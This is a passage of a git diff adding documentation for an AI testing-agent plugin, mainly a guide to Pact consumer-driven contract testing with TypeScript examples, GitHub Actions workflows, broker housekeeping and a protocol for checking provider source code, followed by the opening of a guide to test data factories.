+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
